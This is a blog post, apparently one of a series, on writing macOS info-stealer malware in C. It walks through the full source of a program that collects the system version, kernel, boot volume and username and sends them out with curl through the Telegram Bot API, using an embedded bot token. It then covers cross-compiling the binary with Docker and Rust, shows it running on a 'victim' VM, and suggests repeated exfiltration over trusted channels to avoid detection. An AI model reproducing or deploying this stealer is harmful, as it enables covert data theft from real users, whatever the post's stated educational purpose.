7 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

This article could be called something like: “Malware trick part 48” since this is the next post about the trick, but I decided to highlight a series of posts about malware for Apple/Mac at the request of my readers.

In the previous examples we created a simple Proof of Concept of using legit connections via Telegram Bot API, VirusTotal API and Discord Bot API for “stealing” simplest information from victim’s Windows machine.

What about MacOS systems? Nowadays, more and more targets of attackers are not only owners of Windows machines but also MacOS, Apple laptops is very popular.

practical example

The basic logic of our malware will be similar: sending system information via Telegram Bot API.

You don’t need to have an Apple MacBook to do this. For the simulation of MacOSX I used quickemu, for me it is worked perfectly:

malware

https://github.com/quickemu-project/quickemu

Run it:

quickemu --vm macos-sonoma.conf

malware

malware

malware

malware

And you can use all features, Xcode, iPhone Simulator (for example, iOS 18.4 in my case):

malware

malware

My project’s structure looks like there (spyware):

malware

First of all, we need to get system information. On MacOSX you can use command:

system_profiler SPSoftwareDataType

malware

As you can see, the response would contain detailed system info, including macOS version, kernel version etc.

So, we can parse it like this:

char command[] = "system_profiler SPSoftwareDataType 2>&1";
char buffer[BUFFER_SIZE];
FILE* pipe = popen(command, "r");

if (!pipe) {
  perror("Failed to open pipe!");
  return 1;
}

// system information
char systemVersion[BUFFER_SIZE] = {0};
char kernelVersion[BUFFER_SIZE] = {0};
char bootVol[BUFFER_SIZE] = {0};
char username[BUFFER_SIZE] = {0};
char computerName[BUFFER_SIZE] = {0};

// get buffer
while (fgets(buffer, sizeof(buffer), pipe) != NULL) {
  // trim buffer
  trimF(buffer);

  // get system version
  if (strstr(buffer, "System Version:") != NULL) {
    strcpy(systemVersion, buffer + strlen("System Version:") + 7);
  }

  // get kernel version
  if (strstr(buffer, "Kernel Version:") != NULL) {
    strcpy(kernelVersion, buffer + strlen("Kernel Version:") + 7);
  }

  // get boot volume info
  if (strstr(buffer, "Boot Volume:") != NULL) {
    strcpy(bootVol, buffer + strlen("Boot Volume:") + 7);
  }

  // get username
  if (strstr(buffer, "User Name:") != NULL) {
    strcpy(username, buffer + strlen("User Name:") + 7);
  }

  // computer name
  if (strstr(buffer, "Computer Name:") != NULL) {
    strcpy(computerName, buffer + strlen("Computer Name:") + 7);
  }
}

// close
fclose(pipe);

We need helper function for remove newlines and carriage returns:

// trim function
void trimF(char* str) {
  char* pos;
  
  // remove newlines
  if ((pos = strchr(str, '\n')) != NULL) {
    *pos = '\0';
  }
  
  // remove carriage returns
  if ((pos = strchr(str, '\r')) != NULL) {
    *pos = '\0';
  }

  char *token = strtok(pos, " \t\n\r");
  if (token) {
    strcpy(pos, token);
  }
}

and main logic: send data via Telegram Bot API:

// function to send message via Telegram Bot API
int sendToTgBot(const char* message, const char* botToken, const char* chatId) {
  char command[1024];
  
  // URL encode message for safe HTTP request
  char encodedMessage[BUFFER_SIZE];
  snprintf(encodedMessage, sizeof(encodedMessage), "\"%s\"", message);  // just for simplicity here
  
  // build the curl command to send the message to Telegram
  snprintf(command, sizeof(command),
    "curl -s -X POST https://api.telegram.org/bot%s/sendMessage -d chat_id=%s -d text=%s",
    botToken, chatId, encodedMessage);

  // execute the command
  int result = system(command);
  return result;
}

As you can see, once the system information is collected, it needs to be sent to the attacker. This is where the Telegram Bot API comes into play. Using curl, the attacker can send a POST request to the Telegram server:

curl -s -X POST "https://api.telegram.org/bot<YOUR_BOT_TOKEN>/sendMessage" --data-urlencode "chat_id=<YOUR_CHAT_ID>" --data-urlencode "text=<SYSTEM_INFO>"

So, full source code is looks like this (hack.c):

/*
 * hack.c
 * simple mac stealer
 * author @cocomelonc
 * https://cocomelonc.github.io/macos/2025/06/12/malware-mac-1.html
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFFER_SIZE 128

// trim function
void trimF(char* str) {
  char* pos;
  
  // remove newlines
  if ((pos = strchr(str, '\n')) != NULL) {
    *pos = '\0';
  }
  
  // remove carriage returns
  if ((pos = strchr(str, '\r')) != NULL) {
    *pos = '\0';
  }

  char *token = strtok(pos, " \t\n\r");
  if (token) {
    strcpy(pos, token);
  }
}

// function to send message via Telegram Bot API
int sendToTgBot(const char* message, const char* botToken, const char* chatId) {
  char command[1024];
  
  // URL encode message for safe HTTP request
  char encodedMessage[BUFFER_SIZE];
  snprintf(encodedMessage, sizeof(encodedMessage), "\"%s\"", message);  // just for simplicity here
  
  // build the curl command to send the message to Telegram
  snprintf(command, sizeof(command),
    "curl -s -X POST https://api.telegram.org/bot%s/sendMessage --data-urlencode chat_id=%s --data-urlencode text=%s",
    botToken, chatId, encodedMessage);

  // execute the command
  int result = system(command);
  return result;
}

int main() {
  char command[] = "system_profiler SPSoftwareDataType 2>&1";
  char buffer[BUFFER_SIZE];
  FILE* pipe = popen(command, "r");

  if (!pipe) {
    perror("failed to open pipe!");
    return 1;
  }

  // system information
  char systemVersion[BUFFER_SIZE] = {0};
  char kernelVersion[BUFFER_SIZE] = {0};
  char bootVol[BUFFER_SIZE] = {0};
  char username[BUFFER_SIZE] = {0};
  char computerName[BUFFER_SIZE] = {0};

  // get buffer
  while (fgets(buffer, sizeof(buffer), pipe) != NULL) {
    // trim buffer
    trimF(buffer);

    // get system version
    if (strstr(buffer, "System Version:") != NULL) {
      strcpy(systemVersion, buffer + strlen("System Version:") + 7);
    }

    // get kernel version
    if (strstr(buffer, "Kernel Version:") != NULL) {
      strcpy(kernelVersion, buffer + strlen("Kernel Version:") + 7);
    }

    // get boot volume info
    if (strstr(buffer, "Boot Volume:") != NULL) {
      strcpy(bootVol, buffer + strlen("Boot Volume:") + 7);
    }

    // get username
    if (strstr(buffer, "User Name:") != NULL) {
      strcpy(username, buffer + strlen("User Name:") + 7);
    }
  }

  // close
  fclose(pipe);

  // trim all values before sending
  trimF(systemVersion);
  trimF(kernelVersion);
  trimF(bootVol);
  trimF(username);

  // construct the message to be sent to Telegram
  char systemInfo[1024];
  snprintf(systemInfo, sizeof(systemInfo),
           "System Version: %s\nKernel Version: %s\nBoot Volume: %s\nUsername: %s",
           systemVersion, kernelVersion, bootVol, username);

  // Telegram Bot details
  const char* botToken = "7725786727:AAEuylKfQgTg5RBMeXwyk9qKhcV5kULP_po";  // please, replace with your bot token
  const char* chatId = "5547299598";      // replace with your chat ID
  
  // send system information to Telegram
  int result = sendToTgBot(systemInfo, botToken, chatId);

  if (result == 0) {
    printf("system info successfully sent to Telegram\n");
  } else {
    printf("failed to send system info to Telegram\n");
  }

  return 0;
}

demo

Let’s go to see everything in action. First of all we need to compile our stealer. For this reason I used:

malware

https://github.com/shepherdjerred/macos-cross-compiler

This project is really useful, you can cross-compile your code on Linux for MacOS.

As I wrote before based on the structure of our project, I used the following files:

Dockerfile

# use the macOS cross-compiler image as the base
FROM ghcr.io/shepherdjerred/macos-cross-compiler:latest

# update package list and install required packages
RUN apt-get update && \
    apt-get install -y \
    curl \
    pkg-config \
    libssl-dev \
    gcc-mingw-w64 \
    clang \
    cmake \
    make \
    zlib1g-dev

# copy macOS project code into the container
COPY ./projects /app

# set the working directory
WORKDIR /app

RUN chmod +x /app/hack_compiler/target/release/hack_compiler

# execute the hack_compiler script and keep the container alive
CMD ["/bin/bash", "-c", "/app/hack_compiler/target/release/hack_compiler && tail -f /dev/null"]

and docker-compose.yml

networks:
  mac_net:

services:
  stealer:
    build:
      context: ./stealer
    volumes:
      - ./stealer/projects:/app
    working_dir: /app
    networks:
      - mac_net

What is the hack_compiler?

For compilation I wrote a simple script in rust:

use std::io;
use std::process::Command;

fn compile_project() -> io::Result<()> {
  println!("compiling the project...");
  let output = Command::new("x86_64-apple-darwin24-g++")
    .arg("/app/hack_stealer/hack.c")
    .arg("-o")
    .arg("/app/hack_stealer/hack")
    .arg("-static-libgcc")
    .arg("-static-libstdc++")
    .arg("-O3")
    .output()?;
  if !output.status.success() {
    return Err(io::Error::new(io::ErrorKind::Other, "hack project compilation failed"));
  }
  println!("hack project successfully compiled :)");
  Ok(())
}

fn main() {
  println!("starting all...");
  if let Err(e) = compile_project() {
    eprintln!("{}", e);
    std::thread::sleep(std::time::Duration::from_secs(2));
    return;
  }
  println!("process completed successfully!");
}

As you can see, the logic is pretty simple. Used x86_64-apple-darwin24-g++ for cross-compilation, then if everything is ok, just print:

hack project successfully compiled :)
process completed successfully!

Ok, so, start our docker logic for compilation. Run:

docker compose build

malware

then:

docker compose up -d
docker compose ps
docker compose logs -f

malware

malware

It’s looks like everything succsessfully compiled! =^..^=

You also can do it manually inside the container via rust commands:

cargo build --release
cargo run

malware

Then copy compiled binary hack from container to linux:

malware

malware

for checking correctness of binary format, run:

file hack

malware

As you can see, this binary file is Mac-O 64-bit executable.

Note: perhaps you can do this compilation logic without Rust by simply running a cross compiler, but I haven’t checked

UPD: you also can check via command without Rust:

cd hack_stealer/
x86_64-apple-darwin24-g++ ./hack.c -o ./hack -static-libgcc -static-libstdc++ -O3

malware

Run our victim’s MacOS VM:

malware

malware

malware

copy hack to ~/Desktop:

malware

and run:

./hack

malware

malware

malware

Everything worked as expected, perfectly! =^..^=

Of course, in real attacks, the attacker can also configure the our program to send updates about the system regularly. For example, the malicious code can be configured to send information every few hours.

For example, the malware could be set to ping the Telegram bot every 12 hours to exfiltrate updated system information. This makes it harder to detect because the data is being transferred over trusted channels (Telegram).

Maybe i will continue this series of posts about macOS, for example l can write something about process injection and malware persistence methods.

I hope this post is useful for malware researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

Malware development trick 40: Stealing data via legit Telegram API. Simple C example.
https://github.com/quickemu-project/quickemu
https://github.com/shepherdjerred/macos-cross-compiler
https://github.com/tpoechtrager/osxcross
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine